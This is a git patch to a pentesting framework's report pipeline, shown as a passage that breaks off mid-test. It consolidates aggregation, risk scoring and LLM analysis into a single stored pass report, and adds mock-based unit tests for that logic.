runner.run(suite) From 5b2fb4a1086f61a5845f268f71b06bce11773ae5 Mon Sep 17 00:00:00 2001 From: toderian Date: Sat, 7 Mar 2026 20:32:22 +0000 Subject: [PATCH 010/114] feat: single aggregation + consolidated pass report (phase 2) --- .../cybersec/red_mesh/pentester_api_01.py | 391 +++++++++++---- .../red_mesh/redmesh_llm_agent_mixin.py | 165 ++----- .../cybersec/red_mesh/test_redmesh.py | 461 ++++++++++++++++++ 3 files changed, 807 insertions(+), 210 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 48634fcf..4dda18e2 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -38,7 +38,7 @@ from naeural_core.business.default.web_app.fast_api_web_app import FastApiWebAppPlugin as BasePlugin from .redmesh_utils import PentestLocalWorker # Import PentestJob from separate module from .redmesh_llm_agent_mixin import _RedMeshLlmAgentMixin -from .models import JobConfig +from .models import JobConfig, PassReport, PassReportRef, WorkerReportMeta, AggregatedScanData from .constants import ( FEATURE_CATALOG, LLM_ANALYSIS_SECURITY_ASSESSMENT, @@ -1340,6 +1340,130 @@ def process_findings(findings_list): }, } + def _compute_risk_and_findings(self, aggregated_report): + """ + Compute risk score AND extract flat findings in a single walk. + + Extends _compute_risk_score to also produce a flat list of enriched + findings from the nested service_info/web_tests_info/correlation structure. + + Parameters + ---------- + aggregated_report : dict + Aggregated report with service_info, web_tests_info, etc. + + Returns + ------- + tuple[dict, list] + (risk_result, flat_findings) where risk_result is {"score": int, "breakdown": dict} + and flat_findings is a list of enriched finding dicts. + """ + import hashlib + import math + + findings_score = 0.0 + finding_counts = {"CRITICAL": 0, "HIGH": 0, "MEDIUM": 0, "LOW": 0, "INFO": 0} + cred_count = 0 + flat_findings = [] + + port_protocols = aggregated_report.get("port_protocols") or {} + + def process_findings(findings_list, port, probe_name, category): + nonlocal findings_score, cred_count + for finding in findings_list: + if not isinstance(finding, dict): + continue + severity = finding.get("severity", "INFO").upper() + confidence = finding.get("confidence", "firm").lower() + weight = RISK_SEVERITY_WEIGHTS.get(severity, 0) + multiplier = RISK_CONFIDENCE_MULTIPLIERS.get(confidence, 0.5) + findings_score += weight * multiplier + if severity in finding_counts: + finding_counts[severity] += 1 + title = finding.get("title", "") + if isinstance(title, str) and "default credential accepted" in title.lower(): + cred_count += 1 + + # Build deterministic finding_id + canon_title = (finding.get("title") or "").lower().strip() + cwe = finding.get("cwe_id", "") + id_input = f"{port}:{probe_name}:{cwe}:{canon_title}" + finding_id = hashlib.sha256(id_input.encode()).hexdigest()[:16] + + protocol = port_protocols.get(str(port), "unknown") + + flat_findings.append({ + "finding_id": finding_id, + **{k: v for k, v in finding.items()}, + "port": port, + "protocol": protocol, + "probe": probe_name, + "category": category, + }) + + def parse_port(port_key): + """Extract integer port from keys like '80/tcp' or '80'.""" + try: + return int(str(port_key).split("/")[0]) + except (ValueError, IndexError): + return 0 + + # Walk service_info + service_info = aggregated_report.get("service_info", {}) + for port_key, probes in service_info.items(): + if not isinstance(probes, dict): + continue + port = parse_port(port_key) + for probe_name, probe_data in probes.items(): + if not isinstance(probe_data, dict): + continue + process_findings(probe_data.get("findings", []), port, probe_name, "service") + + # Walk web_tests_info + web_tests_info = aggregated_report.get("web_tests_info", {}) + for port_key, tests in web_tests_info.items(): + if not isinstance(tests, dict): + continue + port = parse_port(port_key) + for test_name, test_data in tests.items(): + if not isinstance(test_data, dict): + continue + process_findings(test_data.get("findings", []), port, test_name, "web") + + # Walk correlation_findings + correlation_findings = aggregated_report.get("correlation_findings", []) + if isinstance(correlation_findings, list): + process_findings(correlation_findings, 0, "_correlation", "correlation") + + # B. Open ports — diminishing returns + open_ports = aggregated_report.get("open_ports", []) + nr_ports = len(open_ports) if isinstance(open_ports, list) else 0 + open_ports_score = 15.0 * (1.0 - math.exp(-nr_ports / 8.0)) + + # C. Attack surface breadth + nr_protocols = len(set(port_protocols.values())) if isinstance(port_protocols, dict) else 0 + breadth_score = 10.0 * (1.0 - math.exp(-nr_protocols / 4.0)) + + # D. Default credentials penalty + credentials_penalty = min(cred_count * RISK_CRED_PENALTY_PER, RISK_CRED_PENALTY_CAP) + + raw_total = findings_score + open_ports_score + breadth_score + credentials_penalty + score = int(round(100.0 * (2.0 / (1.0 + math.exp(-RISK_SIGMOID_K * raw_total)) - 1.0))) + score = max(0, min(100, score)) + + risk_result = { + "score": score, + "breakdown": { + "findings_score": round(findings_score, 1), + "open_ports_score": round(open_ports_score, 1), + "breadth_score": round(breadth_score, 1), + "credentials_penalty": credentials_penalty, + "raw_total": round(raw_total, 1), + "finding_counts": finding_counts, + }, + } + return risk_result, flat_findings + def _maybe_finalize_pass(self): """ Launcher finalizes completed passes and orchestrates continuous monitoring. @@ -1392,26 +1516,75 @@ def _maybe_finalize_pass(self): # ═══════════════════════════════════════════════════ pass_date_started = self._get_timeline_date(job_specs, "pass_started") or self._get_timeline_date(job_specs, "created") pass_date_completed = self.time() - pass_record = ({ - "pass_nr": job_pass, - "date_started": pass_date_started, - "date_completed": pass_date_completed, - "duration": round(pass_date_completed - pass_date_started, 2) if pass_date_started else None, - "reports": {addr: w.get("report_cid") for addr, w in workers.items()} - }) - now_ts = self.time() + now_ts = pass_date_completed - # Compute risk score for this pass - aggregated_for_score = self._collect_aggregated_report(workers) + # 1. AGGREGATE ONCE — fetch node reports from R1FS and merge + node_reports = self._collect_node_reports(workers) + aggregated = self._get_aggregated_report(node_reports) if node_reports else {} + + # 2. RISK SCORE + FLAT FINDINGS (single walk) risk_score = 0 - if aggregated_for_score: - risk_result = self._compute_risk_score(aggregated_for_score) - pass_record["risk_score"] = risk_result["score"] - pass_record["risk_breakdown"] = risk_result["breakdown"] + flat_findings = [] + risk_result = None + if aggregated: + risk_result, flat_findings = self._compute_risk_and_findings(aggregated) risk_score = risk_result["score"] job_specs["risk_score"] = risk_score - self.P(f"Risk score for job {job_id} pass {job_pass}: {risk_result['score']}/100") + self.P(f"Risk score for job {job_id} pass {job_pass}: {risk_score}/100") + # 3. LLM ANALYSIS (receives pre-aggregated data, no re-fetch) + job_config = self._get_job_config(job_specs) + llm_text = None + summary_text = None + if self.cfg_llm_agent_api_enabled and aggregated: + llm_text = self._run_aggregated_llm_analysis(job_id, aggregated, job_config) + summary_text = self._run_quick_summary_analysis(job_id, aggregated, job_config) + + # 4. LLM FAILURE HANDLING + llm_failed = True if (self.cfg_llm_agent_api_enabled and (llm_text is None or summary_text is None)) else None + if llm_failed: + self._emit_timeline_event( + job_specs, "llm_failed", + f"LLM analysis unavailable for pass {job_pass}", + meta={"pass_nr": job_pass} + ) + + # 5. BUILD WORKER METADATA from already-fetched node_reports + worker_metas = {} + for addr, report in node_reports.items(): + nr_findings = 0 + for probes in (report.get("service_info") or {}).values(): + if isinstance(probes, dict): + for probe_data in probes.values(): + if isinstance(probe_data, dict): + nr_findings += len(probe_data.get("findings", [])) + for tests in (report.get("web_tests_info") or {}).values(): + if isinstance(tests, dict): + for test_data in tests.values(): + if isinstance(test_data, dict): + nr_findings += len(test_data.get("findings", [])) + nr_findings += len(report.get("correlation_findings") or []) + + worker_metas[addr] = WorkerReportMeta( + report_cid=workers[addr].get("report_cid", ""), + start_port=report.get("start_port", 0), + end_port=report.get("end_port", 0), + ports_scanned=report.get("ports_scanned", 0), + open_ports=report.get("open_ports", []), + nr_findings=nr_findings, + ).to_dict() + + # 6. STORE aggregated report as separate CID + aggregated_report_cid = None + if aggregated: + aggregated_data = AggregatedScanData.from_dict(aggregated).to_dict() + aggregated_report_cid = self.r1fs.add_json(aggregated_data, show_logs=False) + if not aggregated_report_cid: + self.P(f"Failed to store aggregated report for pass {job_pass} in R1FS", color='r') + continue # skip pass finalization, retry next loop + + # 7. ATTESTATION (best-effort, must not block finalization) + redmesh_test_attestation = None should_submit_attestation = True if run_mode == "CONTINUOUS_MONITORING": last_attestation_at = job_specs.get("last_attestation_at") @@ -1426,7 +1599,6 @@ def _maybe_finalize_pass(self): should_submit_attestation = False if should_submit_attestation: - # Best-effort on-chain summary; failures must not block pass finalization. try: redmesh_test_attestation = self._submit_redmesh_test_attestation( job_id=job_id, @@ -1435,7 +1607,6 @@ def _maybe_finalize_pass(self): vulnerability_score=risk_score ) if redmesh_test_attestation is not None: - pass_record["redmesh_test_attestation"] = redmesh_test_attestation job_specs["last_attestation_at"] = now_ts except Exception as exc: import traceback @@ -1447,7 +1618,31 @@ def _maybe_finalize_pass(self): color='r' ) - pass_reports.append(pass_record) + # 8. COMPOSE PassReport + pass_report = PassReport( + pass_nr=job_pass, + date_started=pass_date_started, + date_completed=pass_date_completed, + duration=round(pass_date_completed - pass_date_started, 2) if pass_date_started else 0, + aggregated_report_cid=aggregated_report_cid or "", + worker_reports=worker_metas, + risk_score=risk_score, + risk_breakdown=risk_result["breakdown"] if risk_result else None, + llm_analysis=llm_text, + quick_summary=summary_text, + llm_failed=llm_failed, + findings=flat_findings if flat_findings else None, + redmesh_test_attestation=redmesh_test_attestation, + ) + + # 9. STORE PassReport as single CID + pass_report_cid = self.r1fs.add_json(pass_report.to_dict(), show_logs=False) + if not pass_report_cid: + self.P(f"Failed to store pass report for pass {job_pass} in R1FS", color='r') + continue # skip — don't append partial state to CStore + + # 10. UPDATE CStore with lightweight PassReportRef + pass_reports.append(PassReportRef(job_pass, pass_report_cid, risk_score).to_dict()) # Handle SINGLEPASS - set FINALIZED and exit (no scheduling) if run_mode == "SINGLEPASS": @@ -1456,12 +1651,6 @@ def _maybe_finalize_pass(self): job_specs["duration"] = round(self.time() - created_at, 2) self._emit_timeline_event(job_specs, "scan_completed", "Scan completed") self.P(f"[SINGLEPASS] Job {job_id} complete. Status set to FINALIZED.") - - # Run LLM auto-analysis on aggregated report (launcher only) - if self.cfg_llm_agent_api_enabled: - self._run_aggregated_llm_analysis(job_id, job_specs, workers, pass_nr=job_pass) - self._run_quick_summary_analysis(job_id, job_specs, workers, pass_nr=job_pass) - self._emit_timeline_event(job_specs, "finalized", "Job finalized") self.chainstore_hset(hkey=self.cfg_instance_id, key=job_key, value=job_specs) continue @@ -1475,24 +1664,12 @@ def _maybe_finalize_pass(self): job_specs["duration"] = round(self.time() - created_at, 2) self._emit_timeline_event(job_specs, "scan_completed", f"Scan completed (pass {job_pass})") self.P(f"[CONTINUOUS] Pass {job_pass} complete for job {job_id}. Status set to STOPPED (soft stop was scheduled)") - - # Run LLM auto-analysis on aggregated report (launcher only) - if self.cfg_llm_agent_api_enabled: - self._run_aggregated_llm_analysis(job_id, job_specs, workers, pass_nr=job_pass) - self._run_quick_summary_analysis(job_id, job_specs, workers, pass_nr=job_pass) - self._emit_timeline_event(job_specs, "stopped", "Job stopped") self.chainstore_hset(hkey=self.cfg_instance_id, key=job_key, value=job_specs) continue # end if - # Run LLM auto-analysis for this pass (launcher only) - if self.cfg_llm_agent_api_enabled: - self._run_aggregated_llm_analysis(job_id, job_specs, workers, pass_nr=job_pass) - self._run_quick_summary_analysis(job_id, job_specs, workers, pass_nr=job_pass) - # Schedule next pass - job_config = self._get_job_config(job_specs) interval = job_config.get("monitor_interval", self.cfg_monitor_interval) jitter = random.uniform(0, self.cfg_monitor_jitter) job_specs["next_pass_at"] = self.time() + interval + jitter @@ -2167,15 +2344,23 @@ def purge_job(self, job_id: str): if cid: cids.add(cid) - # Collect CIDs from pass reports - for entry in job_specs.get("pass_reports", []): - for addr, cid in entry.get("reports", {}).items(): - if cid: - cids.add(cid) - for key in ("llm_analysis_cid", "quick_summary_cid", "report_cid"): - cid = entry.get(key) - if cid: - cids.add(cid) + # Collect CIDs from pass reports (PassReportRef entries) + for ref in job_specs.get("pass_reports", []): + report_cid = ref.get("report_cid") + if report_cid: + cids.add(report_cid) + # Fetch PassReport to find nested CIDs (aggregated_report_cid, worker report CIDs) + try: + pass_data = self.r1fs.get_json(report_cid) + if isinstance(pass_data, dict): + agg_cid = pass_data.get("aggregated_report_cid") + if agg_cid: + cids.add(agg_cid) + for wr in (pass_data.get("worker_reports") or {}).values(): + if isinstance(wr, dict) and wr.get("report_cid"): + cids.add(wr["report_cid"]) + except Exception: + pass # best-effort — still delete what we can # Collect job config CID config_cid = job_specs.get("job_config_cid") @@ -2344,15 +2529,21 @@ def analyze_job( return {"error": "Job not yet complete, some workers still running", "job_id": job_id} # Collect and aggregate reports from all workers - aggregated_report = self._collect_aggregated_report(workers) + node_reports = self._collect_node_reports(workers) + aggregated_report = self._get_aggregated_report(node_reports) if node_reports else {} if not aggregated_report: return {"error": "No report data available for this job", "job_id": job_id} - # Add job metadata to report for context target = job_specs.get("target", "unknown") job_config = self._get_job_config(job_specs) - aggregated_report["_job_metadata"] = { + + # Call LLM Agent API + analysis_type = analysis_type or self.cfg_llm_auto_analysis_type + + # Add job metadata to report for context + report_with_meta = dict(aggregated_report) + report_with_meta["_job_metadata"] = { "job_id": job_id, "target": target, "num_workers": len(workers), @@ -2362,14 +2553,11 @@ def analyze_job( "enabled_features": job_config.get("enabled_features", []), } - # Call LLM Agent API - analysis_type = analysis_type or self.cfg_llm_auto_analysis_type - analysis_result = self._call_llm_agent_api( endpoint="/analyze_scan", method="POST", payload={ - "scan_results": aggregated_report, + "scan_results": report_with_meta, "analysis_type": analysis_type, "focus_areas": focus_areas, } @@ -2382,51 +2570,45 @@ def analyze_job( "job_id": job_id, } - # Save analysis to R1FS and store in pass_reports - analysis_cid = None + # Extract LLM text from result + if isinstance(analysis_result, dict): + llm_text = analysis_result.get("analysis", analysis_result.get("markdown", str(analysis_result))) + else: + llm_text = str(analysis_result) + + # Update the latest pass report with manual analysis pass_reports = job_specs.get("pass_reports", []) current_pass = job_specs.get("job_pass", 1) - try: - analysis_cid = self.r1fs.add_json(analysis_result, show_logs=False) - if analysis_cid: - # Store in pass_reports (find the latest completed pass) - if pass_reports: - # Update the latest pass entry with analysis CID - pass_reports[-1]["llm_analysis_cid"] = analysis_cid - else: - # No pass_reports yet - create one - pass_date_started = self._get_timeline_date(job_specs, "pass_started") or self._get_timeline_date(job_specs, "created") - pass_date_completed = self.time() - pass_reports.append({ - "pass_nr": current_pass, - "date_started": pass_date_started, - "date_completed": pass_date_completed, - "duration": round(pass_date_completed - pass_date_started, 2) if pass_date_started else None, - "reports": {addr: w.get("report_cid") for addr, w in workers.items()}, - "llm_analysis_cid": analysis_cid, - }) - job_specs["pass_reports"] = pass_reports - - self._emit_timeline_event( - job_specs, "llm_analysis", - f"Manual LLM analysis completed", - actor_type="user", - meta={"analysis_cid": analysis_cid, "pass_nr": pass_reports[-1].get("pass_nr") if pass_reports else current_pass} - ) - self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=job_specs) - self.P(f"Manual LLM analysis saved for job {job_id}, CID: {analysis_cid}") - except Exception as e: - self.P(f"Failed to save analysis to R1FS: {e}", color='y') + if pass_reports: + # Fetch latest pass report from R1FS, add LLM analysis, re-store + latest_ref = pass_reports[-1] + try: + pass_data = self.r1fs.get_json(latest_ref["report_cid"]) + if pass_data: + pass_data["llm_analysis"] = llm_text + pass_data["llm_failed"] = None # clear failure flag + updated_cid = self.r1fs.add_json(pass_data, show_logs=False) + if updated_cid: + latest_ref["report_cid"] = updated_cid + self._emit_timeline_event( + job_specs, "llm_analysis", + f"Manual LLM analysis completed", + actor_type="user", + meta={"report_cid": updated_cid, "pass_nr": latest_ref.get("pass_nr", current_pass)} + ) + self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=job_specs) + self.P(f"Manual LLM analysis saved for job {job_id}, updated pass report CID: {updated_cid}") + except Exception as e: + self.P(f"Failed to update pass report with analysis: {e}", color='y') return { "job_id": job_id, "target": target, "num_workers": len(workers), - "pass_nr": pass_reports[-1].get("pass_nr") if pass_reports else current_pass, + "pass_nr": pass_reports[-1].get("pass_nr", current_pass) if pass_reports else current_pass, "analysis_type": analysis_type, "analysis": analysis_result, - "analysis_cid": analysis_cid, } @@ -2492,31 +2674,44 @@ def get_analysis(self, job_id: str = "", cid: str = "", pass_nr: int = None): # Get the latest pass target_pass = pass_reports[-1] - analysis_cid = target_pass.get("llm_analysis_cid") - if not analysis_cid: + # Fetch the PassReport from R1FS to get inline LLM analysis + report_cid = target_pass.get("report_cid") + if not report_cid: return { - "error": "No LLM analysis available for this pass", + "error": "No pass report CID available for this pass", "job_id": job_id, "pass_nr": target_pass.get("pass_nr"), "job_status": job_status } try: - analysis = self.r1fs.get_json(analysis_cid) - if analysis is None: - return {"error": "Analysis not found in R1FS", "cid": analysis_cid, "job_id": job_id} + pass_data = self.r1fs.get_json(report_cid) + if pass_data is None: + return {"error": "Pass report not found in R1FS", "cid": report_cid, "job_id": job_id} + + llm_analysis = pass_data.get("llm_analysis") + if not llm_analysis: + return { + "error": "No LLM analysis available for this pass", + "job_id": job_id, + "pass_nr": target_pass.get("pass_nr"), + "llm_failed": pass_data.get("llm_failed", False), + "job_status": job_status + } + return { "job_id": job_id, "pass_nr": target_pass.get("pass_nr"), - "completed_at": target_pass.get("completed_at"), - "cid": analysis_cid, + "completed_at": pass_data.get("date_completed"), + "report_cid": report_cid, "target": job_specs.get("target"), "num_workers": len(job_specs.get("workers", {})), "total_passes": len(pass_reports), - "analysis": analysis, + "analysis": llm_analysis, + "quick_summary": pass_data.get("quick_summary"), } except Exception as e: - return {"error": str(e), "cid": analysis_cid, "job_id": job_id} + return {"error": str(e), "cid": report_cid, "job_id": job_id} @BasePlugin.endpoint diff --git a/extensions/business/cybersec/red_mesh/redmesh_llm_agent_mixin.py b/extensions/business/cybersec/red_mesh/redmesh_llm_agent_mixin.py index 582f67fd..ae9be4b6 100644 --- a/extensions/business/cybersec/red_mesh/redmesh_llm_agent_mixin.py +++ b/extensions/business/cybersec/red_mesh/redmesh_llm_agent_mixin.py @@ -191,9 +191,9 @@ def _auto_analyze_report(self, job_id: str, report: dict, target: str) -> Option return analysis_result - def _collect_aggregated_report(self, workers: dict) -> dict: + def _collect_node_reports(self, workers: dict) -> dict: """ - Collect and aggregate reports from all workers. + Collect individual node reports from all workers. Parameters ---------- @@ -203,7 +203,7 @@ def _collect_aggregated_report(self, workers: dict) -> dict: Returns ------- dict - Aggregated report combining all worker data. + Mapping {addr: report_dict} for each worker with data. """ all_reports = {} @@ -227,68 +227,56 @@ def _collect_aggregated_report(self, workers: dict) -> dict: all_reports[addr] = report if not all_reports: - self.P("No reports found to aggregate", color='y') - return {} + self.P("No reports found to collect", color='y') - # Aggregate all reports (method from host class) - aggregated = self._get_aggregated_report(all_reports) - return aggregated + return all_reports def _run_aggregated_llm_analysis( self, job_id: str, - job_specs: dict, - workers: dict, - pass_nr: int = None - ) -> Optional[str]: + aggregated_report: dict, + job_config: dict, + ) -> str | None: """ - Run LLM analysis on aggregated report from all workers. + Run LLM analysis on a pre-aggregated report. - Called by the launcher node after all workers complete. + The caller aggregates once and passes the result. This method + no longer fetches node reports or saves to R1FS. Parameters ---------- job_id : str Identifier of the job. - job_specs : dict - Job specification (will be updated with analysis CID). - workers : dict - Worker entries containing report data. - pass_nr : int, optional - Pass number for continuous monitoring jobs. + aggregated_report : dict + Pre-aggregated scan data from all workers. + job_config : dict + Job configuration (from R1FS). Returns ------- str or None - Analysis CID if successful, None otherwise. + LLM analysis markdown text if successful, None otherwise. """ - target = job_specs.get("target", "unknown") - run_mode = job_specs.get("run_mode", "SINGLEPASS") - pass_info = f" (pass {pass_nr})" if pass_nr else "" - self.P(f"Running aggregated LLM analysis for job {job_id}{pass_info}, target {target}...") - - # Collect and aggregate reports from all workers - aggregated_report = self._collect_aggregated_report(workers) + target = job_config.get("target", "unknown") + self.P(f"Running aggregated LLM analysis for job {job_id}, target {target}...") if not aggregated_report: self.P(f"No data to analyze for job {job_id}", color='y') return None # Add job metadata to report for context - aggregated_report["_job_metadata"] = { + report_with_meta = dict(aggregated_report) + report_with_meta["_job_metadata"] = { "job_id": job_id, "target": target, - "num_workers": len(workers), - "worker_addresses": list(workers.keys()), - "start_port": job_specs.get("start_port"), - "end_port": job_specs.get("end_port"), - "enabled_features": job_specs.get("enabled_features", []), - "run_mode": run_mode, - "pass_nr": pass_nr, + "start_port": job_config.get("start_port"), + "end_port": job_config.get("end_port"), + "enabled_features": job_config.get("enabled_features", []), + "run_mode": job_config.get("run_mode", "SINGLEPASS"), } # Call LLM analysis - llm_analysis = self._auto_analyze_report(job_id, aggregated_report, target) + llm_analysis = self._auto_analyze_report(job_id, report_with_meta, target) if not llm_analysis or "error" in llm_analysis: self.P( @@ -297,81 +285,53 @@ def _run_aggregated_llm_analysis( ) return None - # Save analysis to R1FS - try: - analysis_cid = self.r1fs.add_json(llm_analysis, show_logs=False) - if analysis_cid: - # Always store in pass_reports for consistency (both SINGLEPASS and CONTINUOUS) - pass_reports = job_specs.get("pass_reports", []) - for entry in pass_reports: - if entry.get("pass_nr") == pass_nr: - entry["llm_analysis_cid"] = analysis_cid - break - self._emit_timeline_event( - job_specs, "llm_analysis", - f"LLM analysis completed for pass {pass_nr}", - meta={"analysis_cid": analysis_cid, "pass_nr": pass_nr} - ) - self.P(f"LLM analysis for pass {pass_nr} saved, CID: {analysis_cid}") - return analysis_cid - else: - self.P(f"Failed to save LLM analysis to R1FS for job {job_id}", color='y') - return None - except Exception as e: - self.P(f"Error saving LLM analysis to R1FS: {e}", color='r') - return None + # Extract the markdown text from the analysis result + if isinstance(llm_analysis, dict): + return llm_analysis.get("content", llm_analysis.get("analysis", llm_analysis.get("markdown", str(llm_analysis)))) + return str(llm_analysis) def _run_quick_summary_analysis( self, job_id: str, - job_specs: dict, - workers: dict, - pass_nr: int = None - ) -> Optional[str]: + aggregated_report: dict, + job_config: dict, + ) -> str | None: """ - Run a short (2-4 sentence) AI quick summary on the aggregated report. + Run a short (2-4 sentence) AI quick summary on a pre-aggregated report. - Same pattern as _run_aggregated_llm_analysis but uses the quick_summary - analysis type with a low token budget. + The caller aggregates once and passes the result. This method + no longer fetches node reports or saves to R1FS. Parameters ---------- job_id : str Identifier of the job. - job_specs : dict - Job specification (will be updated with quick_summary_cid). - workers : dict - Worker entries containing report data. - pass_nr : int, optional - Pass number for continuous monitoring jobs. + aggregated_report : dict + Pre-aggregated scan data from all workers. + job_config : dict + Job configuration (from R1FS). Returns ------- str or None - Quick summary CID if successful, None otherwise. + Quick summary text if successful, None otherwise. """ - target = job_specs.get("target", "unknown") - pass_info = f" (pass {pass_nr})" if pass_nr else "" - self.P(f"Running quick summary analysis for job {job_id}{pass_info}, target {target}...") - - # Collect and aggregate reports from all workers - aggregated_report = self._collect_aggregated_report(workers) + target = job_config.get("target", "unknown") + self.P(f"Running quick summary analysis for job {job_id}, target {target}...") if not aggregated_report: self.P(f"No data for quick summary for job {job_id}", color='y') return None # Add job metadata to report for context - aggregated_report["_job_metadata"] = { + report_with_meta = dict(aggregated_report) + report_with_meta["_job_metadata"] = { "job_id": job_id, "target": target, - "num_workers": len(workers), - "worker_addresses": list(workers.keys()), - "start_port": job_specs.get("start_port"), - "end_port": job_specs.get("end_port"), - "enabled_features": job_specs.get("enabled_features", []), - "run_mode": job_specs.get("run_mode", "SINGLEPASS"), - "pass_nr": pass_nr, + "start_port": job_config.get("start_port"), + "end_port": job_config.get("end_port"), + "enabled_features": job_config.get("enabled_features", []), + "run_mode": job_config.get("run_mode", "SINGLEPASS"), } # Call LLM analysis with quick_summary type @@ -379,7 +339,7 @@ def _run_quick_summary_analysis( endpoint="/analyze_scan", method="POST", payload={ - "scan_results": aggregated_report, + "scan_results": report_with_meta, "analysis_type": "quick_summary", "focus_areas": None, } @@ -392,29 +352,10 @@ def _run_quick_summary_analysis( ) return None - # Save to R1FS - try: - summary_cid = self.r1fs.add_json(analysis_result, show_logs=False) - if summary_cid: - # Store in pass_reports - pass_reports = job_specs.get("pass_reports", []) - for entry in pass_reports: - if entry.get("pass_nr") == pass_nr: - entry["quick_summary_cid"] = summary_cid - break - self._emit_timeline_event( - job_specs, "llm_analysis", - f"Quick summary completed for pass {pass_nr}", - meta={"quick_summary_cid": summary_cid, "pass_nr": pass_nr} - ) - self.P(f"Quick summary for pass {pass_nr} saved, CID: {summary_cid}") - return summary_cid - else: - self.P(f"Failed to save quick summary to R1FS for job {job_id}", color='y') - return None - except Exception as e: - self.P(f"Error saving quick summary to R1FS: {e}", color='r') - return None + # Extract the summary text from the result + if isinstance(analysis_result, dict): + return analysis_result.get("content", analysis_result.get("summary", analysis_result.get("analysis", str(analysis_result)))) + return str(analysis_result) def _get_llm_health_status(self) -> dict: """ diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index 6c82b60e..c15562d8 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -2568,6 +2568,466 @@ def test_launch_fails_if_r1fs_unavailable(self): self.assertIsNone(job_specs) +class TestPhase2PassFinalization(unittest.TestCase): + """Phase 2: Single Aggregation + Consolidated Pass Reports.""" + + @classmethod + def _mock_plugin_modules(cls): + """Install mock modules so pentester_api_01 can be imported without naeural_core.""" + if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: + return + TestPhase1ConfigCID._mock_plugin_modules() + + def _get_plugin_class(self): + self._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + return PentesterApi01Plugin + + def _build_finalize_plugin(self, job_id="test-job", job_pass=1, run_mode="SINGLEPASS", + llm_enabled=False, r1fs_returns=None): + """Build a mock plugin pre-configured for _maybe_finalize_pass testing.""" + plugin = MagicMock() + plugin.ee_addr = "launcher-node" + plugin.ee_id = "launcher-alias" + plugin.cfg_instance_id = "test-instance" + plugin.cfg_llm_agent_api_enabled = llm_enabled + plugin.cfg_llm_agent_api_host = "localhost" + plugin.cfg_llm_agent_api_port = 8080 + plugin.cfg_llm_agent_api_timeout = 30 + plugin.cfg_llm_auto_analysis_type = "security_assessment" + plugin.cfg_monitor_interval = 60 + plugin.cfg_monitor_jitter = 0 + plugin.cfg_attestation_min_seconds_between_submits = 300 + plugin.time.return_value = 1000100.0 + plugin.json_dumps.return_value = "{}" + + # R1FS mock + plugin.r1fs = MagicMock() + cid_counter = {"n": 0} + def fake_add_json(data, show_logs=True): + cid_counter["n"] += 1 + if r1fs_returns is not None: + return r1fs_returns.get(cid_counter["n"], f"QmCID{cid_counter['n']}") + return f"QmCID{cid_counter['n']}" + plugin.r1fs.add_json.side_effect = fake_add_json + + # Job config in R1FS + plugin.r1fs.get_json.return_value = { + "target": "example.com", "start_port": 1, "end_port": 1024, + "run_mode": run_mode, "enabled_features": [], "monitor_interval": 60, + } + + # Build job_specs with two finished workers + job_specs = { + "job_id": job_id, + "job_status": "RUNNING", + "job_pass": job_pass, + "run_mode": run_mode, + "launcher": "launcher-node", + "launcher_alias": "launcher-alias", + "target": "example.com", + "task_name": "Test", + "start_port": 1, + "end_port": 1024, + "date_created": 1000000.0, + "risk_score": 0, + "job_config_cid": "QmConfigCID", + "workers": { + "worker-A": {"start_port": 1, "end_port": 512, "finished": True, "report_cid": "QmReportA"}, + "worker-B": {"start_port": 513, "end_port": 1024, "finished": True, "report_cid": "QmReportB"}, + }, + "timeline": [{"type": "created", "label": "Created", "date": 1000000.0, "actor": "launcher-alias", "actor_type": "system", "meta": {}}], + "pass_reports": [], + } + + plugin.chainstore_hgetall.return_value = {job_id: job_specs} + plugin.chainstore_hset = MagicMock() + + return plugin, job_specs + + def _sample_node_report(self, start_port=1, end_port=512, open_ports=None, findings=None): + """Build a sample node report dict.""" + report = { + "start_port": start_port, + "end_port": end_port, + "open_ports": open_ports or [80, 443], + "ports_scanned": end_port - start_port + 1, + "nr_open_ports": len(open_ports or [80, 443]), + "service_info": {}, + "web_tests_info": {}, + "completed_tests": ["port_scan"], + "port_protocols": {"80": "http", "443": "https"}, + "port_banners": {}, + "correlation_findings": [], + } + if findings: + # Add findings under service_info for port 80 + report["service_info"] = { + "80": { + "_service_info_http": { + "findings": findings, + } + } + } + return report + + def test_single_aggregation(self): + """_collect_node_reports called exactly once per pass finalization.""" + PentesterApi01Plugin = self._get_plugin_class() + plugin, job_specs = self._build_finalize_plugin() + + # Mock _collect_node_reports and _get_aggregated_report + report_a = self._sample_node_report(1, 512, [80]) + report_b = self._sample_node_report(513, 1024, [443]) + plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a, "worker-B": report_b}) + plugin._get_aggregated_report = MagicMock(return_value={ + "open_ports": [80, 443], "service_info": {}, "web_tests_info": {}, + "completed_tests": ["port_scan"], "ports_scanned": 1024, + "nr_open_ports": 2, "port_protocols": {"80": "http", "443": "https"}, + }) + plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) + plugin._get_job_config = MagicMock(return_value={"target": "example.com", "monitor_interval": 60}) + plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 25, "breakdown": {}}, [])) + plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) + plugin._get_timeline_date = MagicMock(return_value=1000000.0) + plugin._emit_timeline_event = MagicMock() + + PentesterApi01Plugin._maybe_finalize_pass(plugin) + + # _collect_node_reports called exactly once + plugin._collect_node_reports.assert_called_once() + + def test_pass_report_cid_in_r1fs(self): + """PassReport stored in R1FS with correct fields.""" + PentesterApi01Plugin = self._get_plugin_class() + plugin, job_specs = self._build_finalize_plugin() + + report_a = self._sample_node_report(1, 512, [80]) + plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a}) + plugin._get_aggregated_report = MagicMock(return_value={ + "open_ports": [80], "service_info": {}, "web_tests_info": {}, + "completed_tests": [], "ports_scanned": 512, 